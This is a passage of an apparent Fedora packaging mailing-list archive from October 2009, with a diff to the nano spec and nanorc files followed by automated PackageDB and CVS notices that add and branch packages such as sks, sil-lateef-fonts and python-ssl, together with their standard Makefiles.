 URL:             http://www.nano-editor.org
@@ -9,7 +9,11 @@ Source:          http://www.nano-editor.
 Source2:         nanorc
 Patch1:          nano-2.0.9-warnings.patch
 BuildRoot:       %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:   ncurses-devel, autoconf, gettext-devel, groff
+BuildRequires:   autoconf
+BuildRequires:   gettext-devel
+BuildRequires:   groff
+BuildRequires:   ncurses-devel
+BuildRequires:   sed
 Requires(post):  /sbin/install-info
 Requires(preun): /sbin/install-info
 
@@ -36,8 +40,12 @@ rm -f %{buildroot}%{_infodir}/dir
 mkdir -p ${RPM_BUILD_ROOT}%{_bindir}
 ln -s ../../bin/nano ${RPM_BUILD_ROOT}%{_bindir}/nano
 ln -s ../../bin/rnano ${RPM_BUILD_ROOT}%{_bindir}/rnano
+cp %{SOURCE2} ./nanorc
+
+# disable line wrapping by default
+sed 's/# set nowrap/set nowrap/' doc/nanorc.sample >> ./nanorc
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
-install -m 644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/nanorc
+install -m 644 ./nanorc $RPM_BUILD_ROOT%{_sysconfdir}/nanorc
 
 %find_lang %{name}
 
@@ -72,6 +80,9 @@ rm -rf %{buildroot}
 %{_datadir}/nano
 
 %changelog
+* Thu Oct 15 2009 Kamil Dudka <kdudka at redhat.com> - 2.0.9-6
+- use nanorc.sample as base of /etc/nanorc
+
 * Tue Oct 13 2009 Kamil Dudka <kdudka at redhat.com> - 2.0.9-5
 - fix build failure of the last build
 


Index: nanorc
===================================================================
RCS file: /cvs/extras/rpms/nano/devel/nanorc,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- nanorc	13 Oct 2009 11:37:22 -0000	1.1
+++ nanorc	15 Oct 2009 17:10:24 -0000	1.2
@@ -1,7 +1,6 @@
-# This is a system-wide configuration file for the nano editor. Each user can
-# save his own configuration to ~/.nanorc
-#
-# See the nanorc(5) man page for details.
+## This is a system-wide configuration file for the nano editor.
+##
+## Each user can save his own configuration to ~/.nanorc
+##
+## See the nanorc(5) man page for details.
 
-# disable line wrapping by default
-set nowrap



From pkgdb at fedoraproject.org  Thu Oct 15 17:15:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:15:30 +0000
Subject: [pkgdb] sks was added for nb
Message-ID: <20091015171531.0396410F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package sks with summary Synchronizing Key Server
kevin has approved Package sks
kevin has added a Fedora devel branch for sks with an owner of nb
kevin has approved sks in Fedora devel
kevin has approved Package sks
kevin has set commit to Approved for 107427 on sks (Fedora devel)
kevin has set checkout to Approved for 107427 on sks (Fedora devel)
kevin has set build to Approved for 107427 on sks (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Thu Oct 15 17:15:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:15:32 +0000
Subject: [pkgdb] sks summary updated by kevin
Message-ID: <20091015171532.DBB9710F882@bastion2.fedora.phx.redhat.com>

kevin set package sks summary to Synchronizing Key Server

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Thu Oct 15 17:15:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:15:32 +0000
Subject: [pkgdb] sks (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171532.E34A010F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sks
kevin has set commit to Approved for 107427 on sks (Fedora 11)
kevin has set checkout to Approved for 107427 on sks (Fedora 11)
kevin has set build to Approved for 107427 on sks (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Thu Oct 15 17:15:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:15:32 +0000
Subject: [pkgdb] sks (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171532.F412F10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sks
kevin has set commit to Approved for 107427 on sks (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sks (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sks (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Thu Oct 15 17:15:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:15:32 +0000
Subject: [pkgdb] sks (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171533.0786E10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sks
kevin has set commit to Approved for 107427 on sks (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sks (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sks (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Thu Oct 15 17:15:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:15:32 +0000
Subject: [pkgdb] sks (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171533.0BD2810F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sks
kevin has set commit to Approved for 107427 on sks (Fedora 12)
kevin has set checkout to Approved for 107427 on sks (Fedora 12)
kevin has set build to Approved for 107427 on sks (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Thu Oct 15 17:15:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:15:32 +0000
Subject: [pkgdb] sks (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171533.155C710F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sks
kevin has set commit to Approved for 107427 on sks (Fedora 10)
kevin has set checkout to Approved for 107427 on sks (Fedora 10)
kevin has set build to Approved for 107427 on sks (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sks



From kevin at fedoraproject.org  Thu Oct 15 17:15:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:15:41 +0000 (UTC)
Subject: rpms/sks/devel - New directory
Message-ID: <20091015171541.5728311C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sks/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb13956/rpms/sks/devel

Log Message:
Directory /cvs/pkgs/rpms/sks/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:15:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:15:41 +0000 (UTC)
Subject: rpms/sks - New directory
Message-ID: <20091015171541.2262E11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sks
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb13956/rpms/sks

Log Message:
Directory /cvs/pkgs/rpms/sks added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:15:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:15:48 +0000 (UTC)
Subject: rpms/sks Makefile,NONE,1.1
Message-ID: <20091015171548.4620511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sks
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb13956/rpms/sks

Added Files:
	Makefile 
Log Message:
Setup of module sks


--- NEW FILE Makefile ---
# Top level Makefile for module sks
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:15:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:15:48 +0000 (UTC)
Subject: rpms/sks/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091015171548.7E39211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sks/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb13956/rpms/sks/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sks


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sks
# $Id: Makefile,v 1.1 2009/10/15 17:15:48 kevin Exp $
NAME := sks
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:16:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:16:43 +0000
Subject: [pkgdb] sil-lateef-fonts was added for hedayat
Message-ID: <20091015171643.B222810F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package sil-lateef-fonts with summary An Arabic script unicode font
kevin has approved Package sil-lateef-fonts
kevin has added a Fedora devel branch for sil-lateef-fonts with an owner of hedayat
kevin has approved sil-lateef-fonts in Fedora devel
kevin has approved Package sil-lateef-fonts
kevin has set commit to Approved for 107427 on sil-lateef-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on sil-lateef-fonts (Fedora devel)
kevin has set build to Approved for 107427 on sil-lateef-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sil-lateef-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:16:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:16:45 +0000
Subject: [pkgdb] sil-lateef-fonts summary updated by kevin
Message-ID: <20091015171645.EF33010F889@bastion2.fedora.phx.redhat.com>

kevin set package sil-lateef-fonts summary to An Arabic script unicode font

To make changes to this package see:
  /pkgdb/packages/name/sil-lateef-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:16:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:16:45 +0000
Subject: [pkgdb] sil-lateef-fonts (Fedora, 10) updated by kevin
Message-ID: <20091015171645.F3CC910F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sil-lateef-fonts
kevin has set commit to Approved for 107427 on sil-lateef-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on sil-lateef-fonts (Fedora 11)
kevin has set build to Approved for 107427 on sil-lateef-fonts (Fedora 11)
kevin approved watchbugzilla on sil-lateef-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on sil-lateef-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-lateef-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:16:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:16:45 +0000
Subject: [pkgdb] sil-lateef-fonts (Fedora, 10) updated by kevin
Message-ID: <20091015171646.0C8EF10F8AB@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on sil-lateef-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on sil-lateef-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-lateef-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:16:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:16:45 +0000
Subject: [pkgdb] sil-lateef-fonts (Fedora, 10) updated by kevin
Message-ID: <20091015171646.15CE810F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sil-lateef-fonts
kevin has set commit to Approved for 107427 on sil-lateef-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on sil-lateef-fonts (Fedora 12)
kevin has set build to Approved for 107427 on sil-lateef-fonts (Fedora 12)
kevin approved watchbugzilla on sil-lateef-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on sil-lateef-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-lateef-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:16:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:16:45 +0000
Subject: [pkgdb] sil-lateef-fonts (Fedora, 10) updated by kevin
Message-ID: <20091015171646.2556510F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sil-lateef-fonts
kevin has set commit to Approved for 107427 on sil-lateef-fonts (Fedora 10)
kevin has set checkout to Approved for 107427 on sil-lateef-fonts (Fedora 10)
kevin has set build to Approved for 107427 on sil-lateef-fonts (Fedora 10)
kevin approved watchbugzilla on sil-lateef-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on sil-lateef-fonts (Fedora 10) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-lateef-fonts



From kevin at fedoraproject.org  Thu Oct 15 17:16:53 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:16:53 +0000 (UTC)
Subject: rpms/sil-lateef-fonts/devel - New directory
Message-ID: <20091015171653.3962011C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-lateef-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsX14657/rpms/sil-lateef-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/sil-lateef-fonts/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:16:53 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:16:53 +0000 (UTC)
Subject: rpms/sil-lateef-fonts - New directory
Message-ID: <20091015171653.152CD11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-lateef-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsX14657/rpms/sil-lateef-fonts

Log Message:
Directory /cvs/pkgs/rpms/sil-lateef-fonts added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:17:00 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:17:00 +0000 (UTC)
Subject: rpms/sil-lateef-fonts Makefile,NONE,1.1
Message-ID: <20091015171700.3920311C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-lateef-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsX14657/rpms/sil-lateef-fonts

Added Files:
	Makefile 
Log Message:
Setup of module sil-lateef-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module sil-lateef-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:17:00 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:17:00 +0000 (UTC)
Subject: rpms/sil-lateef-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015171700.7C92A11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-lateef-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsX14657/rpms/sil-lateef-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sil-lateef-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sil-lateef-fonts
# $Id: Makefile,v 1.1 2009/10/15 17:17:00 kevin Exp $
NAME := sil-lateef-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:17:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:17:40 +0000
Subject: [pkgdb] yaz (Fedora, devel) updated by kevin
Message-ID: <20091015171740.D3A8A10F87F@bastion2.fedora.phx.redhat.com>

kevin changed owner of yaz in Fedora devel to guidograzioli
kevin approved watchbugzilla on yaz (Fedora devel) for itamarjp
kevin approved watchcommits on yaz (Fedora devel) for itamarjp
kevin approved commit on yaz (Fedora devel) for itamarjp
kevin approved build on yaz (Fedora devel) for itamarjp
kevin approved approveacls on yaz (Fedora devel) for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/yaz



From pkgdb at fedoraproject.org  Thu Oct 15 17:18:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:18:33 +0000
Subject: [pkgdb] yaz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171833.35C0010F889@bastion2.fedora.phx.redhat.com>

kevin changed owner of yaz in Fedora devel to guidograzioli
kevin approved watchbugzilla on yaz (Fedora devel) for itamarjp
kevin approved watchcommits on yaz (Fedora devel) for itamarjp
kevin approved commit on yaz (Fedora devel) for itamarjp
kevin approved build on yaz (Fedora devel) for itamarjp
kevin approved approveacls on yaz (Fedora devel) for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/yaz



From pkgdb at fedoraproject.org  Thu Oct 15 17:18:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:18:33 +0000
Subject: [pkgdb] yaz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171833.58C0B10F8AB@bastion2.fedora.phx.redhat.com>

kevin changed owner of yaz in Fedora 12 to guidograzioli
kevin approved watchbugzilla on yaz (Fedora 12) for itamarjp
kevin approved watchcommits on yaz (Fedora 12) for itamarjp
kevin approved commit on yaz (Fedora 12) for itamarjp
kevin approved build on yaz (Fedora 12) for itamarjp
kevin approved approveacls on yaz (Fedora 12) for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/yaz



From pkgdb at fedoraproject.org  Thu Oct 15 17:18:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:18:33 +0000
Subject: [pkgdb] yaz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171833.572B210F8A8@bastion2.fedora.phx.redhat.com>

kevin changed owner of yaz in Fedora EPEL 5 to guidograzioli
kevin approved watchbugzilla on yaz (Fedora EPEL 5) for itamarjp
kevin approved watchcommits on yaz (Fedora EPEL 5) for itamarjp
kevin approved commit on yaz (Fedora EPEL 5) for itamarjp
kevin approved build on yaz (Fedora EPEL 5) for itamarjp
kevin approved approveacls on yaz (Fedora EPEL 5) for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/yaz



From pkgdb at fedoraproject.org  Thu Oct 15 17:18:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:18:33 +0000
Subject: [pkgdb] yaz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171833.6713A10F8B1@bastion2.fedora.phx.redhat.com>

kevin changed owner of yaz in Fedora 11 to guidograzioli
kevin approved watchbugzilla on yaz (Fedora 11) for itamarjp
kevin approved watchcommits on yaz (Fedora 11) for itamarjp
kevin approved commit on yaz (Fedora 11) for itamarjp
kevin approved build on yaz (Fedora 11) for itamarjp
kevin approved approveacls on yaz (Fedora 11) for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/yaz



From pkgdb at fedoraproject.org  Thu Oct 15 17:18:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:18:33 +0000
Subject: [pkgdb] yaz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171833.7205C10F8B6@bastion2.fedora.phx.redhat.com>

kevin changed owner of yaz in Fedora 10 to guidograzioli
kevin approved watchbugzilla on yaz (Fedora 10) for itamarjp
kevin approved watchcommits on yaz (Fedora 10) for itamarjp
kevin approved commit on yaz (Fedora 10) for itamarjp
kevin approved build on yaz (Fedora 10) for itamarjp
kevin approved approveacls on yaz (Fedora 10) for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/yaz



From pkgdb at fedoraproject.org  Thu Oct 15 17:18:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:18:33 +0000
Subject: [pkgdb] yaz (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171833.820BC10F8BC@bastion2.fedora.phx.redhat.com>

kevin changed owner of yaz in Fedora EPEL 4 to guidograzioli
kevin approved watchbugzilla on yaz (Fedora EPEL 4) for itamarjp
kevin approved watchcommits on yaz (Fedora EPEL 4) for itamarjp
kevin approved commit on yaz (Fedora EPEL 4) for itamarjp
kevin approved build on yaz (Fedora EPEL 4) for itamarjp
kevin approved approveacls on yaz (Fedora EPEL 4) for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/yaz



From pkgdb at fedoraproject.org  Thu Oct 15 17:19:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:19:25 +0000
Subject: [pkgdb] python-ssl was added for stevetraylen
Message-ID: <20091015171925.5DCF210F889@bastion2.fedora.phx.redhat.com>

kevin has added Package python-ssl with summary SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)
kevin has approved Package python-ssl
kevin has added a Fedora devel branch for python-ssl with an owner of stevetraylen
kevin has approved python-ssl in Fedora devel
kevin has approved Package python-ssl
kevin has set commit to Approved for 107427 on python-ssl (Fedora devel)
kevin has set checkout to Approved for 107427 on python-ssl (Fedora devel)
kevin has set build to Approved for 107427 on python-ssl (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-ssl



From pkgdb at fedoraproject.org  Thu Oct 15 17:19:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:19:26 +0000
Subject: [pkgdb] python-ssl summary updated by kevin
Message-ID: <20091015171926.E992010F8A4@bastion2.fedora.phx.redhat.com>

kevin set package python-ssl summary to SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

To make changes to this package see:
  /pkgdb/packages/name/python-ssl



From pkgdb at fedoraproject.org  Thu Oct 15 17:19:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:19:26 +0000
Subject: [pkgdb] python-ssl (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171926.F35BE10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for python-ssl
kevin has set commit to Approved for 107427 on python-ssl (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on python-ssl (Fedora EPEL 4)
kevin has set build to Approved for 107427 on python-ssl (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/python-ssl



From pkgdb at fedoraproject.org  Thu Oct 15 17:19:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:19:26 +0000
Subject: [pkgdb] python-ssl (Fedora EPEL, 4) updated by kevin
Message-ID: <20091015171927.10E8410F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-ssl
kevin has set commit to Approved for 107427 on python-ssl (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-ssl (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-ssl (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-ssl



From kevin at fedoraproject.org  Thu Oct 15 17:19:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:19:41 +0000 (UTC)
Subject: rpms/python-ssl - New directory
Message-ID: <20091015171941.3539311C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-ssl
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsG15810/rpms/python-ssl

Log Message:
Directory /cvs/pkgs/rpms/python-ssl added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:19:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:19:41 +0000 (UTC)
Subject: rpms/python-ssl/devel - New directory
Message-ID: <20091015171941.5B48911C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-ssl/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsG15810/rpms/python-ssl/devel

Log Message:
Directory /cvs/pkgs/rpms/python-ssl/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:19:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:19:56 +0000 (UTC)
Subject: rpms/python-ssl Makefile,NONE,1.1
Message-ID: <20091015171956.1B98D11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-ssl
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsG15810/rpms/python-ssl

Added Files:
	Makefile 
Log Message:
Setup of module python-ssl


--- NEW FILE Makefile ---
# Top level Makefile for module python-ssl
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:19:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:19:56 +0000 (UTC)
Subject: rpms/python-ssl/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015171956.EAAD811C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-ssl/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsG15810/rpms/python-ssl/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-ssl


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-ssl
# $Id: Makefile,v 1.1 2009/10/15 17:19:56 kevin Exp $
NAME := python-ssl
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:22:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:22:47 +0000
Subject: [pkgdb] vhostmd (Fedora, 11) updated by kevin
Message-ID: <20091015172247.2AA1810F85F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for vhostmd
kevin has set commit to Approved for 107427 on vhostmd (Fedora 11)
kevin has set checkout to Approved for 107427 on vhostmd (Fedora 11)
kevin has set build to Approved for 107427 on vhostmd (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/vhostmd



From pkgdb at fedoraproject.org  Thu Oct 15 17:23:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:23:36 +0000
Subject: [pkgdb] gfs-ignacio-fonts was added for nim
